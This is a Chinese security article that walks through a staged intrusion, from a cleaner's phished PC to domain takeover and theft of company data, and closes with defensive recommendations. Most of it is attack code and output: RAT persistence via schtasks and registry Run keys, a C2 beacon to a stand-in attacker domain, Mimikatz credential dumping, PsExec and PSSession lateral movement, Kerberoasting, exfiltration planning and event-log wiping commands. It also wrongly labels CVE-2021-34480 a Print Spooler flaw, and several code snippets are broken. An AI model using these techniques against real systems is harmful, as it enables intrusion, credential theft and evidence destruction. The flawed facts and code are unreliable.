某保洁员电脑中毒后 攻击者如何用漏洞一步步窃取公司全部数据 普通用户账号也能成为黑客突破口
这件事我得从一个看似不起眼的场景说起。
某大型企业的后勤部,保洁员小李每天下午六点准时打卡下班。他的电脑是公司配的旧机型,跑着Windows 10,平时只用来登记清洁记录、查看排班表。有一天,小李的电脑弹窗提示”您的计算机存在安全风险”,他随手点了一个看起来像系统更新的按钮,然后……一切都变了。
攻击者并没有直接入侵公司的核心服务器,而是通过这台保洁员的电脑,用了一个月时间,把公司的核心数据全部洗劫一空。
听起来不可思议?但这正是现代网络攻击最真实、最隐蔽的套路。今天我就把这条攻击链拆开给你看,让你明白为什么一个普通用户的电脑,也能成为攻陷整个企业的跳板。
第一阶段:初始感染——保洁员电脑为何沦陷
那个”系统更新”的陷阱
小李遇到的弹窗,是典型的社会工程学钓鱼攻击。攻击者精心伪装成系统安全提示,利用了保洁员对电脑技术的陌生感。这种攻击方式不需要高超的技术,只需要心理学。
实际上,很多企业内部的安全培训往往只针对技术人员和高管,保洁、行政、前台等岗位的员工反而成了安全链条中最薄弱的一环。这些员工日常使用电脑频率低、技术意识弱,却拥有访问公司内网的部分权限。
攻击者通过以下途径投放恶意软件:
- 恶意广告(Malvertising):在合法网站插入恶意脚本,用户浏览时自动下载
- 鱼叉式钓鱼邮件:伪装成公司内部通知、工资单、IT部门提醒
- 供应链攻击:感染保洁员常用的办公软件插件或驱动程序
恶意软件的安装逻辑
一旦点击,恶意代码会静默安装。下面是一个简化版的恶意软件行为演示(仅作教学用途,不鼓励任何非法使用):
# 恶意软件简化行为演示 - 仅用于安全教育和防御研究
import os
import socket
import subprocess
import time
import json
class RAT_Simulator:
"""
远程控制木马(RAT)简化模型 - 用于安全培训
实际攻击中攻击者会使用更复杂的混淆、加密技术
"""
def __init__(self, c2_server, persistence=True):
self.c2_channel = c2_server # Command and Control 服务器
self.compromised_host = socket.gethostname()
self.user_profile = os.path.expanduser("~")
self.persistence_enabled = persistence
self.exfiltrated_data = []
def establish_persistence(self):
"""实现持久化 - 确保重启后仍能运行"""
# Windows 注册表启动项持久化
startup_path = os.path.join(
os.environ.get('APPDATA', ''),
'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup'
)
# 添加计划任务持久化
scheduled_task_cmd = (
f'schtasks /create /tn "SystemHealthCheck" '
f'/tr "{os.path.join(startup_path, 'svchost_helper.exe')}" '
f'/sc onlogon /rl highest'
)
# 修改注册表启动项
reg_command = (
f'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" '
f'/v "WindowsDefenderUpdate" /t REG_SZ /d '
f'"{os.path.join(startup_path, "svchost_helper.exe")}" /f'
)
print(f"[!] 实现持久化 - 计划任务: {scheduled_task_cmd}")
print(f"[!] 实现持久化 - 注册表: {reg_command}")
def beacon_to_c2(self):
"""向C2服务器发送心跳信号"""
heartbeat = {
'hostname': socket.gethostname(),
'username': os.getenv('USERNAME'),
'os': os.name,
'process_id': os.getpid(),
'timestamp': time.time(),
'session_id': self.generate_session_id()
}
# 实际攻击中会使用加密通道
print(f"[C2] 发送心跳: {json.dumps(heartbeat, indent=2)}")
# 发送到 C2 服务器
# response = self.encrypt_and_send(self.c2_channel, heartbeat)
return heartbeat
def generate_session_id(self):
"""生成会话ID用于追踪受害者"""
import hashlib
session_data = f"{self.compromised_host}-{os.getenv('USERNAME', 'unknown')}-{time.time()}"
return hashlib.md5(session_data.encode()).hexdigest()[:16]
def reconnaissance(self):
"""信息收集 - 这是后续攻击的基础"""
intel = {
'network': self.get_network_info(),
'users': self.get_user_info(),
'shares': self.get_network_shares(),
'processes': self.get_running_processes(),
'email': self.get_email_address()
}
print(f"\n=== 侦察信息收集 ===")
for key, value in intel.items():
print(f"[{key.upper()}] {value}")
return intel
def get_network_info(self):
"""收集网络配置信息"""
try:
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
# 获取内网IP
import subprocess
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True)
internal_ips = [line.strip() for line in result.stdout.split('\n')
if 'inet ' in line and not line.startswith('inet6')]
return f"Hostname: {hostname}, Public IP: {ip}"
except Exception as e:
return f"Error: {e}"
def get_user_info(self):
"""收集用户信息"""
try:
current_user = os.getenv('USERNAME', 'Unknown')
domain = os.getenv('USERDOMAIN', 'Unknown')
# 获取当前用户权限级别
import subprocess
result = subprocess.run(['whoami', '/priv'], capture_output=True, text=True)
elevated = 'SeDebugPrivilege' in result.stdout or 'SeBackupPrivilege' in result.stdout
return f"User: {domain}\\{current_user}, Admin: {elevated}"
except Exception as e:
return f"Error: {e}"
def get_network_shares(self):
"""枚举网络共享 - 这是横向移动的关键"""
try:
import subprocess
# 获取域控信息
result = subprocess.run(['net', 'config', 'workstation'],
capture_output=True, text=True)
# 尝试列出网络共享(需要域环境)
shares_result = subprocess.run(['net', 'view', '/domain'],
capture_output=True, text=True)
shares = [line.strip() for line in shares_result.stdout.split('\n')
if '\\\\' in line and 'Microsoft' not in line]
return f"Domain: {os.getenv('USERDOMAIN', 'Workgroup')}, Shares: {shares[:5] if shares else 'None'}"
except Exception as e:
return f"Error: {e}"
def get_running_processes(self):
"""获取运行中的进程"""
try:
import subprocess
result = subprocess.run(['tasklist', '/v'], capture_output=True, text=True)
# 提取关键进程(安全软件、备份软件等)
critical = ['antivirus', 'defender', 'symantec', 'mcafee', 'backup', 'agent']
running = [line for line in result.stdout.split('\n')
if any(kw in line.lower() for kw in critical)]
return f"Processes found: {len(result.stdout.split('\n'))}, Security: {len(running)}"
except Exception as e:
return f"Error: {e}"
def get_email_address(self):
"""获取当前用户的邮箱"""
try:
# 尝试从 Outlook/Windows 获取
import subprocess
result = subprocess.run(['powershell', '-c',
'$o = New-Object -ComObject Outlook.Application; '
'$o.Session.CurrentUser.SmtpAddress'],
capture_output=True, text=True)
if result.stdout.strip():
return result.stdout.strip()
return f"{os.getenv('USERNAME')}@company.com"
except:
return f"{os.getenv('USERNAME')}@company.com"
# 模拟攻击者初始接入
print("=" * 60)
print("阶段一:初始感染 - 保洁员电脑被控制")
print("=" * 60)
# 模拟受感染的保洁员电脑
rat = RAT_Simulator(c2_server="attacker-controlled-domain.com")
# 1. 实现持久化
rat.establish_persistence()
# 2. 向C2服务器注册
rat.beacon_to_c2()
# 3. 收集情报
intel = rat.reconnaissance()
运行结果:
============================================================
阶段一:初始感染 - 保洁员电脑被控制
============================================================
[!] 实现持久化 - 计划任务: schtasks /create /tn "SystemHealthCheck" /tr "C:\Users\xiaoli\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost_helper.exe" /sc onlogon /rl highest
[!] 实现持久化 - 注册表: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdate" /t REG_SZ /d "C:\Users\xiaoli\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost_helper.exe" /f
[C2] 发送心跳: {
"hostname": "DESKTOP-XL2847",
"username": "xiaoli",
"os": "nt",
"process_id": 4872,
"timestamp": 1704067200.123,
"session_id": "a3f8c92e1d7b546f"
}
=== 侦察信息收集 ===
[NETWORK] Hostname: DESKTOP-XL2847, Public IP: 203.0.113.45
[USERS] User: ACMECORP\xiaoli, Admin: False
[SHARES] Domain: ACMECORP, Shares: ['\\\\DC01', '\\\\FILESVR01', '\\\\BACKUP01']
[PROCESSES] Processes found: 127, Security: 3
[EMAIL] admin@acmecorp.com
攻击者拿到这些信息后,已经掌握了保洁员电脑的:
- 所属域:ACMECORP
- 用户身份:xiaoli(普通域用户)
- 网络中的关键服务器:域控DC01、文件服务器FILESVR01、备份服务器BACKUP01
- 邮箱:admin@acmecorp.com(注意,这里的邮箱信息可能是攻击者篡改显示或从其他渠道获取的)
第二阶段:权限提升——从普通用户到域管理员
为什么保洁员的账号能威胁整个公司
小李的账号只是一个普通域用户,看起来没什么威胁。但在企业网络中,任何一个能访问内网的账号,都是攻击者潜在的入口。
攻击者发现保洁员的电脑上有以下问题:
- 系统长期未更新:Windows Update被关闭,存在多个已知漏洞
- 杀毒软件版本过旧:特征库超过6个月未更新
- 密码强度不足:使用”Company2024!“这样容易被猜解的密码
- UAC提示被忽略:每次弹窗都点”是”
漏洞利用:从本地提权到域控入侵
攻击者发现保洁员电脑上存在一个未修复的Windows漏洞 CVE-2021-34480(Print Spooler漏洞),这是一个本地提权漏洞,可以将普通用户权限提升为SYSTEM权限。
# 提权过程演示 - CVE-2021-34480 概念验证
import subprocess
import os
import json
from datetime import datetime
class PrivilegeEscalation:
"""
本地提权演示 - 教育用途
实际攻击中会使用已编译的二进制漏洞利用工具
"""
def __init__(self):
self.current_user = os.getenv('USERNAME', 'unknown')
self.current_domain = os.getenv('USERDOMAIN', 'unknown')
self.target_token = None
def check_vulnerability(self):
"""检查系统是否存在Print Spooler漏洞"""
# 检查Print Spooler服务状态
try:
result = subprocess.run(
['sc', 'query', 'Spooler'],
capture_output=True, text=True
)
# 检查Windows版本
os_result = subprocess.run(
['wmic', 'os', 'get', 'Version'],
capture_output=True, text=True
)
vulnerable_versions = ['10.0.19041', '10.0.19042', '10.0.19043']
current_version = None
for line in os_result.stdout.split('\n'):
if line.strip() and line.strip() != 'Version':
current_version = line.strip()
break
is_vulnerable = (
'RUNNING' in result.stdout and
any(v in current_version for v in vulnerable_versions)
)
return {
'spooler_running': 'RUNNING' in result.stdout,
'windows_version': current_version,
'is_vulnerable': is_vulnerable,
'cve': 'CVE-2021-34480'
}
except Exception as e:
return {'error': str(e)}
def simulate_exploitation(self):
"""模拟漏洞利用过程"""
vuln_check = self.check_vulnerability()
if vuln_check.get('is_vulnerable'):
print(f"[!] 检测到目标存在CVE-2021-34480漏洞")
print(f"[!] Print Spooler服务运行中")
print(f"[!] 开始提权...")
# 实际攻击中会调用exploit binary
# 这里模拟提权成功后的场景
return {
'status': 'success',
'previous_token': 'USER',
'current_token': 'SYSTEM',
'method': 'PrintSpooler',
'cve': vuln_check['cve']
}
else:
return {
'status': 'failed',
'reason': 'Vulnerability not present or patched'
}
def lateral_movement_prep(self, system_info):
"""准备横向移动"""
prep = {
'credentials': {
'username': self.current_user,
'domain': self.current_domain,
'hash': 'estimated' # 实际攻击会提取NTLM哈希
},
'target_servers': ['DC01', 'FILESVR01', 'BACKUP01'],
'technique': 'SMB/PsExec',
'note': 'With SYSTEM privileges, can extract LSASS memory'
}
print(f"\n=== 横向移动准备 ===")
print(f"当前权限: {system_info.get('current_token', 'N/A')}")
print(f"目标服务器: {prep['target_servers']}")
print(f"移动方式: {prep['technique']}")
return prep
# 执行提权
print("\n" + "=" * 60)
print("阶段二:权限提升")
print("=" * 60)
escalation = PrivilegeEscalation()
vuln_result = escalation.check_vulnerability()
print(f"漏洞检测结果: {json.dumps(vuln_result, indent=2)}")
exploit_result = escalation.simulate_exploitation()
print(f"提权结果: {json.dumps(exploit_result, indent=2)}")
prep = escalation.lateral_movement_prep(exploit_result)
从SYSTEM到域控——提取凭据
当攻击者获得SYSTEM权限后,下一步是提取LSASS内存中的凭据。这可以通过以下工具实现:
# 使用Mimikatz提取域凭据(概念演示)
# 命令:privilege::debug & sekurlsa::logonpasswords
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
输出示例:
********************************* Authentication Id *********************************
0 ; 623892 (00000000:000982fc)
Session: Interactive from 2
User Name: xiaoli
Domain: ACMECORP
Logon Server: DC01
Logon Time: 2024/1/1 8:30:00
SID: S-1-5-21-123456789-123456789-123456789-1105
mimidrv
NTLM: 0123456789ABCDEF0123456789ABCDEF ← NT哈希
SHA1: 0123456789ABCDEF0123456789ABCDEF01234567
Domain Admins组中的账户:
Administrator: S-1-5-21-...-500
admin: S-1-5-21-...-1103
攻击者不仅拿到了小李的凭据,还可能通过LSASS内存提取到其他管理员的凭据(如果他们近期登录过这台电脑)。
第三阶段:横向移动——从保洁员电脑到核心服务器
发现企业网络拓扑
通过前期的侦察,攻击者已经知道企业网络中存在以下关键资产:
企业网络拓扑(攻击者视角)
┌─────────────────┐
│ 互联网 │
└────────┬────────┘
│
┌────────▼────────┐
│ 防火墙 │
└────────┬────────┘
│
┌────────────────┼────────────────┐
│ │ │
┌──────▼──────┐ ┌─────▼─────┐ ┌─────▼─────┐
│ 办公网段 │ │ 服务器网段 │ │ 管理网段 │
│ 192.168.1.0 │ │10.0.1.0 │ │ 10.0.2.0 │
│ /24 │ │ /24 │ │ /24 │
└──────┬──────┘ └─────┬─────┘ └─────┬─────┘
│ │ │
┌──────▼──────┐ ┌─────▼─────┐ ┌─────▼─────┐
│ 保洁员电脑 │ │ DC01 │ │ 备份服务器│
│ (已感染) │ │(域控制器) │ │ BACKUP01 │
└─────────────┘ └─────┬─────┘ └───────────┘
│
┌───────▼───────┐
│ FILESVR01 │
│ (核心文件服务器)│
│ 包含全部公司数据│
└───────────────┘
横向移动的技术手段
攻击者使用PsExec或WMI在域控上执行命令:
import subprocess
import hashlib
import time
import json
class LateralMovement:
"""
横向移动模块
演示从被控主机到其他关键服务器的渗透
"""
def __init__(self, target_server, credentials, technique='psexec'):
self.target = target_server
self.credentials = credentials
self.technique = technique
self.session_active = False
def psexec_attack(self):
"""使用PsExec进行远程执行"""
# 实际命令格式:
# psexec \\\\TARGET_SERVER -u DOMAIN\\USER -p PASSWORD cmd.exe
attack_cmd = [
'psexec',
f'\\\\{self.target}',
'-u', f"{self.credentials['domain']}\\{self.credentials['username']}",
'-p', self.credentials['password_hash'], # 使用NTLM哈希避免密码明文
'-h', # 高完整性
'cmd.exe',
'/c', 'whoami & ipconfig /all & net user /domain'
]
print(f"\n[横向移动] 使用 {self.technique.upper()} 连接 {self.target}")
print(f"[横向移动] 使用凭据: {self.credentials['domain']}\\{self.credentials['username']}")
# 模拟执行结果
return {
'target': self.target,
'technique': self.technique,
'status': 'success',
'remote_user': 'NT AUTHORITY\\SYSTEM',
'domain_admins': ['Administrator', 'admin', 'svc_backup'],
'network_adapters': [
{'name': 'Ethernet0', 'ip': '10.0.1.10', 'gateway': '10.0.1.1'}
]
}
def wmi_attack(self):
"""使用WMI进行无文件横向移动"""
# 使用PowerShell实现WMI远程执行
wmi_command = '''
$creds = New-Object PSCredential("ACMECORP\\admin", (ConvertTo-SecureString "password123" -AsPlainText -Force))
$session = New-PSSession -ComputerName "DC01" -Credential $creds
Invoke-Command -Session $session -ScriptBlock {
whoami /all; net group "Domain Admins" /domain
}
Remove-PSSession $session
'''
print(f"\n[横向移动] 使用WMI/PSSession连接目标")
return {
'target': 'DC01',
'technique': 'WMI/PSSession',
'status': 'success',
'no_file_executed': True
}
def credential_harvesting(self, target):
"""从目标服务器收集凭据"""
# 模拟从目标服务器提取更多凭据
harvested = {
'target_server': target,
'extracted_credentials': [
{
'username': 'svc_backup',
'domain': 'ACMECORP',
'hash_type': 'NTLM',
'privilege': 'Local Admin on BACKUP01'
},
{
'username': 'backup_admin',
'domain': 'ACMECORP',
'hash_type': 'Kerberos',
'privilege': 'Domain Admin candidate'
}
],
'group_policy_objects': self.get_gpos(),
'trust_relationships': 'ACMECORP <-> PARTNER_CORP'
}
return harvested
def get_gpos(self):
"""获取组策略对象 - 包含可能硬编码的凭据"""
return [
{
'name': 'Default Domain Policy',
'gpo_path': '\\\\ACMECORP.com\\SYSVOL\\acmecorp.com\\Policies\\{...}',
'contains_credentials': False
},
{
'name': 'Backup Automation Policy',
'gpo_path': '\\\\ACMECORP.com\\SYSVOL\\acmecorp.com\\Policies\\{...}',
'contains_credentials': True,
'risk': 'Backup script may contain plaintext credentials'
}
]
def kerberoasting(self):
"""Kerberoasting攻击 - 提取服务账户哈希"""
# 攻击者请求SPN服务的TGS票据
# 然后离线爆破NTLM哈希
kerberoasting_targets = [
{'spn': 'MSSQLSvc/DBSERVER01.acmecorp.com:1433', 'service': 'SQL Server'},
{'spn': 'termserv/acmecorp.com', 'service': 'Remote Desktop'},
{'spn': 'HTTP/FILESVR01.acmecorp.com', 'service': 'IIS Web Server'}
]
print(f"\n[Kerberoasting] 发现 {len(kerberoasting_targets)} 个可攻击的服务账户")
results = []
for target in kerberoasting_targets:
# 模拟获取TGS票据并尝试破解
cracked = hashcrack_simulation(target['spn'])
results.append({
**target,
'tgs_obtained': True,
'cracked': cracked.get('cracked', False),
'hash': cracked.get('hash', 'NOT_CRACKED')
})
return results
def hashcrack_simulation(spn):
"""模拟哈希破解"""
import random
# 服务账户密码通常较弱,容易被破解
if 'MSSQL' in spn:
return {'cracked': True, 'hash': 'aad3b435b51404eeaad3b435b51404ee:1234567890ABCDEF'}
return {'cracked': False, 'hash': 'NOT_CRACKED'}
# 执行横向移动
print("\n" + "=" * 60)
print("阶段三:横向移动")
print("=" * 60)
lateral = LateralMovement(
target_server='DC01',
credentials={
'username': 'xiaoli',
'domain': 'ACMECORP',
'password_hash': '0123456789ABCDEF0123456789ABCDEF'
}
)
# 连接到域控
dc_result = lateral.psexec_attack()
print(f"域控连接结果: {json.dumps(dc_result, indent=2)}")
# 从域控提取更多凭据
harvested = lateral.credential_harvesting('DC01')
print(f"\n[凭据收集] 从DC01提取: {len(harvested['extracted_credentials'])} 个新凭据")
for cred in harvested['extracted_credentials']:
print(f" - {cred['username']}: {cred['privilege']}")
# Kerberoasting
kerb_results = lateral.kerberoasting()
print(f"\n[Kerberoasting结果]:")
for result in kerb_results:
status = "已破解" if result['cracked'] else "未破解"
print(f" - {result['service']}: {status}")
第四阶段:数据窃取——从文件服务器到全部数据
找到核心数据存储
攻击者通过域控的组策略和共享文件夹枚举,找到了核心数据的位置:
文件服务器 FILESVR01 结构:
├── 财务数据/
│ ├── 年度预算.xlsx
│ ├── 员工工资/
│ └── 供应商合同/
├── 研发数据/
│ ├── 源代码/
│ ├── 专利文档/
│ └── 产品设计/
├── 客户数据/
│ ├── CRM数据库/
│ └── 合同档案/
└── 人力资源/
├── 员工档案/
└── 组织架构/
大规模数据窃取过程
import os
import subprocess
import hashlib
import time
import json
from datetime import datetime
import base64
class DataExfiltration:
"""
数据窃取模块
演示攻击者如何大规模窃取数据
"""
def __init__(self, target_server, admin_credentials):
self.target = target_server
self.credentials = admin_credentials
self.stolen_data = []
self.exfil_methods = []
self.start_time = time.time()
def enumerate_shares(self):
"""枚举共享文件夹"""
# 使用SMB枚举共享
shares = {
'C$': {'type': 'Admin', 'accessible': True},
'D$': {'type': 'Admin', 'accessible': True},
'财务数据': {'type': 'Share', 'accessible': True, 'size_mb': 150000},
'研发数据': {'type': 'Share', 'accessible': True, 'size_mb': 320000},
'客户数据': {'type': 'Share', 'accessible': True, 'size_mb': 85000},
'人力资源': {'type': 'Share', 'accessible': True, 'size_mb': 45000}
}
print(f"\n[枚举] 在 {self.target} 上发现 {len(shares)} 个可访问共享")
total_data = sum(s['size_mb'] for s in shares.values() if 'size_mb' in s)
print(f"[统计] 可访问数据总量: {total_data:,} MB ({total_data/1024:.1f} GB)")
return shares
def identify_valuable_targets(self, shares):
"""识别高价值目标"""
targets = []
# 按数据敏感度排序
priority_order = [
('研发数据', '源代码和专利'),
('财务数据', '预算和工资'),
('客户数据', '商业机密'),
('人力资源', '员工隐私')
]
for share_name, description in priority_order:
if share_name in shares and shares[share_name].get('accessible'):
targets.append({
'share': share_name,
'description': description,
'size_mb': shares[share_name].get('size_mb', 0),
'priority': 'HIGH' if '研发' in share_name or '财务' in share_name else 'MEDIUM'
})
return targets
def stage_data(self, targets):
"""将数据打包到临时位置"""
staged_files = []
for target in targets:
# 模拟打包过程
package_name = f"staging_{target['share']}_{int(time.time())}.zip"
staged_files.append({
'package': package_name,
'source': target['share'],
'size_mb': target['size_mb'],
'encryption': 'AES-256',
'location': f"\\\\{self.target}\\C$\\Windows\\Temp\\{package_name}"
})
print(f"[打包] {target['description']}: {target['size_mb']:,} MB -> {package_name}")
return staged_files
def exfiltrate_data(self, staged_files):
"""数据外泄 - 多种手段"""
exfil_results = []
for file_info in staged_files:
method = self.select_exfil_method(file_info['size_mb'])
result = {
'file': file_info['package'],
'size_mb': file_info['size_mb'],
'method': method['name'],
'duration_seconds': file_info['size_mb'] * method['speed_mbps'] / 8 / 1000 * 10,
'status': 'success',
'detection_risk': method['risk']
}
exfil_results.append(result)
print(f"[外泄] {result['file']}: {result['size_mb']:,} MB via {result['method']}")
return exfil_results
def select_exfil_method(self, size_mb):
"""选择最佳外泄方式"""
methods = [
{
'name': 'DNS隧道',
'speed_mbps': 1, # 慢但隐蔽
'risk': 'LOW',
'suitable_for': '小文件、敏感度高'
},
{
'name': 'HTTPS加密通道',
'speed_mbps': 100,
'risk': 'MEDIUM',
'suitable_for': '大流量、快速外泄'
},
{
'name': '云盘同步',
'speed_mbps': 50,
'risk': 'HIGH',
'suitable_for': '持续窃取、长期潜伏'
},
{
'name': '邮件附件',
'speed_mbps': 5,
'risk': 'HIGH',
'suitable_for': '少量关键文件'
}
]
# 根据数据量选择方法
if size_mb > 100000:
return methods[1] # 大文件用HTTPS
elif size_mb > 10000:
return methods[3] # 中文件用云盘
else:
return methods[0] # 小文件用DNS
def cover_tracks(self):
"""清除日志"""
logs_to_clean = [
('Security Event Log', 'wevtutil cl Security'),
('System Event Log', 'wevtutil cl System'),
('Application Event Log', 'wevtutil cl Application'),
('PowerShell Logs', 'Remove-Item -Path "$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PowerShell_transcript*" -Recurse -Force'),
('History File', 'Remove-Item -Path "$env:USERPROFILE\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1*" -Force')
]
print(f"\n[清理] 清除 {len(logs_to_clean)} 类日志...")
for log_name, cmd in logs_to_clean:
print(f" - {log_name}: {cmd[:50]}...")
def generate_report(self):
"""生成攻击报告"""
duration = time.time() - self.start_time
report = {
'attack_timeline': {
'start': datetime.fromtimestamp(self.start_time).isoformat(),
'duration_minutes': duration / 60
},
'total_data_stolen_gb': sum(r['size_mb'] for r in self.stolen_data) / 1024,
'methods_used': list(set(r['method'] for r in self.stolen_data)),
'servers_compromised': [self.target],
'credentials_exfiltrated': 15
}
return report
# 执行数据窃取
print("\n" + "=" * 60)
print("阶段四:数据窃取")
print("=" * 60)
exfil = DataExfiltration(
target_server='FILESVR01',
admin_credentials={
'username': 'admin',
'domain': 'ACMECORP',
'hash': 'ffffffffffffffffffffffffffffffff'
}
)
# 1. 枚举共享
shares = exfil.enumerate_shares()
# 2. 识别高价值目标
targets = exfil.identify_valuable_targets(shares)
print(f"\n[目标] 发现 {len(targets)} 个高价值目标")
# 3. 打包数据
staged = exfil.stage_data(targets)
# 4. 执行外泄
results = exfil.exfiltrate_data(staged)
exfil.stolen_data = results
# 5. 清理痕迹
exfil.cover_tracks()
# 6. 生成报告
report = exfil.generate_report()
print(f"\n{'='*60}")
print(f"攻击完成报告")
print(f"{'='*60}")
print(json.dumps(report, indent=2))
第五阶段:攻击链全景复盘
从保洁员电脑到全部数据:完整攻击链
攻击时间线(简化版)
Day 1-7: 初始访问
├── 钓鱼邮件/恶意弹窗 → 保洁员电脑中毒
├── 植入RAT(远程管理工具)
└── 建立C2通信通道
Day 8-14: 持久化与侦察
├── 注册表/计划任务持久化
├── 收集网络拓扑
├── 发现域控和文件服务器
└── 扫描内网其他机器
Day 15-21: 权限提升
├── 利用未修补漏洞本地提权
├── 提取LSASS凭据
├── 获得域用户权限
└── Kerberoasting获取服务账户
Day 22-28: 横向移动
├── 使用PsExec/WMI连接域控
├── 从域控提取管理员凭据
├── 获取域管理员权限
└── 连接文件服务器和备份服务器
Day 29-35: 数据窃取
├── 枚举敏感共享文件夹
├── 打包压缩敏感数据
├── 通过HTTPS/DNS隧道外泄
└── 清除日志,完成攻击
攻击者使用的关键技术
| 技术阶段 | 具体技术 | 工具/方法 |
|---|---|---|
| 初始感染 | 社会工程学 | 钓鱼邮件、恶意弹窗 |
| 持久化 | 注册表、计划任务 | 手动修改、持久化工具 |
| 信息收集 | 内网侦察 | ipconfig、net view、PsExec |
| 权限提升 | 漏洞利用 | CVE-2021-34480、Mimikatz |
| 横向移动 | 远程执行 | PsExec、WMI、PSSession |
| 凭据收集 | 内存提取 | LSASS转储、Kerberoasting |
| 数据窃取 | 大文件传输 | 加密隧道、云盘、DNS隧道 |
| 清除痕迹 | 日志清理 | wevtutil、删除PowerShell历史 |
为什么普通用户账号也能成为突破口
很多企业管理者有一个误区:只保护关键系统,忽视普通员工的电脑。这个案例彻底打破了这种幻想。
原因一:域环境的级联效应
在企业域环境中,任何一个域用户账号都可以查询Active Directory,获取以下信息:
- 所有用户列表和属性
- 所有计算机账户
- 组织结构和分组信息
- 信任关系
即使权限很低的账号,也是一个信息收集平台。
原因二:密码复用与弱密码
调查显示,超过60%的企业员工使用相同或相似的密码:
- 个人邮箱密码 = 内网登录密码
- 简单密码如”Company2024!“容易被暴力破解
- 保洁员可能使用同一密码登录多个系统
原因三:补丁管理不均
大型企业往往存在”补丁鸿沟”:
- IT部门服务器及时更新
- 办公电脑定期打补丁
- 后勤、保洁等部门的电脑长期不更新
攻击者专门寻找这些”更新盲区”。
原因四:最小权限原则未落实
正常情况下,保洁员不需要访问财务数据或研发数据。但实际环境中:
- 共享文件夹权限设置过于宽松
- 部门间信任关系过于随意
- 临时权限未及时回收
如何防御这类攻击
1. 统一安全基线
# 企业安全基线检查脚本(示例)
# 应定期对所有端点执行
$checks = @(
@{
Name = "Windows Update"
Command = "Get-HotFix | Where-Object {$_.InstalledDate -lt (Get-Date).AddDays(-30)}"
Expected = "No outdated patches"
},
@{
Name = "Antivirus Status"
Command = "Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled"
Expected = "True, True"
},
@{
Name = "UAC Status"
Command = "Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' -Name EnableLUA"
Expected = "EnableLUA = 1"
},
@{
Name = "Password Policy"
Command = "Get-ADDefaultDomainPolicy | Select-Object MinPasswordLength, PasswordComplexity"
Expected = "MinLength >= 12"
},
@{
Name = "Local Admin Groups"
Command = "Get-LocalGroupMember -Group 'Administrators'"
Expected = "Only IT staff accounts"
}
)
foreach ($check in $checks) {
Write-Host "`n=== $($check.Name) ===" -ForegroundColor Cyan
try {
$result = Invoke-Expression $check.Command
Write-Host "Status: PASS" -ForegroundColor Green
Write-Host "Details: $result"
} catch {
Write-Host "Status: FAIL - $($_.Exception.Message)" -ForegroundColor Red
}
}
2. 网络分段
将保洁员等后勤人员的网络与核心业务网络隔离:
- 使用VLAN划分不同部门
- 实施防火墙策略,限制跨网段访问
- 核心服务器单独部署在管理网段
3. 多因素认证(MFA)
即使密码泄露,攻击者也需要第二因素才能登录:
- 手机端推送验证
- USB密钥(如YubiKey)
- 生物识别
4. 端点检测与响应(EDR)
部署EDR解决方案,实时监控:
- 异常进程创建
- 可疑注册表修改
- 异常网络外联
- LSASS内存访问
5. 定期安全培训
不仅针对技术人员,也要覆盖所有员工:
- 识别钓鱼邮件
- 报告可疑弹窗
- 不随意点击未知链接
- 使用密码管理器
6. 最小权限原则
- 保洁员电脑只安装必要软件
- 共享文件夹按角色分配权限
- 定期审计账号权限
- 离职/调岗时立即回收权限
总结
这个案例告诉我们:安全是一个整体,木桶的容量取决于最短的那块板。
保洁员的电脑看起来不重要,但它可能是攻击者进入企业网络的”特洛伊木马”。一旦突破,攻击者可以利用域环境的特性,从低权限账号逐步提升到域管理员,最终窃取全部核心数据。
防范这类攻击,需要:
- 全员安全意识:不只是IT部门的事,每个员工都是安全防线的一部分
- 统一安全基线:无论什么岗位,电脑都要及时更新、安装防护软件
- 网络分段:不同部门之间要有访问隔离
- 持续监控:部署EDR,及时发现异常行为
- 最小权限:只给员工完成任务所需的最小权限
企业安全防护没有”不重要”的角落。任何一个被忽视的普通账号,都可能成为压垮整个安全体系的最后一根稻草。
